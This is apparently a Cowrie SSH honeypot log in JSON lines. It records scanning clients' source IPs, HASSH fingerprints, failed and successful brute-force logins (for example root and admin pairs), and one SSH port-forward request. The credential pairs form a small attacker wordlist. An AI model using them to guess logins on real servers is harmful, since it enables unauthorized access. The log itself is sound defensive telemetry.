{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnf2000","message":"login attempt [root/ybrbnf2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:07.019022Z","src_ip":"103.27.238.114","session":"2b093dd4c186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:08.295602Z","src_ip":"103.27.238.114","session":"2b093dd4c186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":43602,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2c57ddf32ab","protocol":"ssh","message":"New connection: 38.242.143.220:43602 (10.17.0.5:22) [session: e2c57ddf32ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:13.734659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:13.739052Z","src_ip":"38.242.143.220","session":"e2c57ddf32ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:13.850006Z","src_ip":"38.242.143.220","session":"e2c57ddf32ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R3nd3r#M@st3r!P@ss","message":"login attempt [root/R3nd3r#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:14.184067Z","src_ip":"38.242.143.220","session":"e2c57ddf32ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:15.351698Z","src_ip":"38.242.143.220","session":"e2c57ddf32ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":20588,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d6d8ca832f","protocol":"ssh","message":"New connection: 176.53.159.196:20588 (10.17.0.5:22) [session: 20d6d8ca832f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:33.977627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:33.981677Z","src_ip":"176.53.159.196","session":"20d6d8ca832f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:34.078573Z","src_ip":"176.53.159.196","session":"20d6d8ca832f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:34.368298Z","src_ip":"176.53.159.196","session":"20d6d8ca832f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:34.465551Z","session":"20d6d8ca832f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:34.562204Z","src_ip":"176.53.159.196","session":"20d6d8ca832f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:34.660080Z","src_ip":"176.53.159.196","session":"20d6d8ca832f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":52096,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa70f280e20","protocol":"ssh","message":"New connection: 162.240.218.183:52096 (159.203.135.109:22) [session: dfa70f280e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:36.392764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:36.396122Z","src_ip":"162.240.218.183","session":"dfa70f280e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:36.477844Z","src_ip":"162.240.218.183","session":"dfa70f280e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helium2024","message":"login attempt [root/helium2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:36.727252Z","src_ip":"162.240.218.183","session":"dfa70f280e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:37.811262Z","src_ip":"162.240.218.183","session":"dfa70f280e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":60752,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab5b9e05d302","protocol":"ssh","message":"New connection: 23.88.42.180:60752 (10.17.0.5:22) [session: ab5b9e05d302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:45.789887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:45.793916Z","src_ip":"23.88.42.180","session":"ab5b9e05d302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:45.890011Z","src_ip":"23.88.42.180","session":"ab5b9e05d302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harvest","password":"harvest123","message":"login attempt [harvest/harvest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:46.179336Z","src_ip":"23.88.42.180","session":"ab5b9e05d302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:47.277662Z","src_ip":"23.88.42.180","session":"ab5b9e05d302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.77.131.229","src_port":47598,"dst_ip":"10.17.0.5","dst_port":22,"session":"041ccc951cbd","protocol":"ssh","message":"New connection: 110.77.131.229:47598 (10.17.0.5:22) [session: 041ccc951cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:49.540354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:49.543841Z","src_ip":"110.77.131.229","session":"041ccc951cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:49.804810Z","src_ip":"110.77.131.229","session":"041ccc951cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2014@","message":"login attempt [root/unitedstates2014@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:50.592570Z","src_ip":"110.77.131.229","session":"041ccc951cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:51.856475Z","src_ip":"110.77.131.229","session":"041ccc951cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":56666,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b081d3e1bb","protocol":"ssh","message":"New connection: 162.241.129.208:56666 (10.17.0.5:22) [session: 10b081d3e1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:58.056693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:58.061149Z","src_ip":"162.241.129.208","session":"10b081d3e1bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:58.091101Z","src_ip":"162.241.129.208","session":"10b081d3e1bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maker","password":"maker123","message":"login attempt [maker/maker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:58.178850Z","src_ip":"162.241.129.208","session":"10b081d3e1bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:11:59.209763Z","src_ip":"162.241.129.208","session":"10b081d3e1bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":42863,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b5f9a44520","protocol":"ssh","message":"New connection: 14.55.144.22:42863 (10.17.0.5:22) [session: f8b5f9a44520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:13.467150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:13.470331Z","src_ip":"14.55.144.22","session":"f8b5f9a44520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:13.676619Z","src_ip":"14.55.144.22","session":"f8b5f9a44520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"123456","message":"login attempt [erpnext/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:14.547629Z","src_ip":"14.55.144.22","session":"f8b5f9a44520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:15.756975Z","src_ip":"14.55.144.22","session":"f8b5f9a44520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.69.226.76","src_port":39616,"dst_ip":"10.17.0.5","dst_port":22,"session":"a737cd898a46","protocol":"ssh","message":"New connection: 118.69.226.76:39616 (10.17.0.5:22) [session: a737cd898a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:19.477208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:19.481350Z","src_ip":"118.69.226.76","session":"a737cd898a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:12:19.718042Z","src_ip":"118.69.226.76","session":"a737cd898a46","protocol":"ssh"}
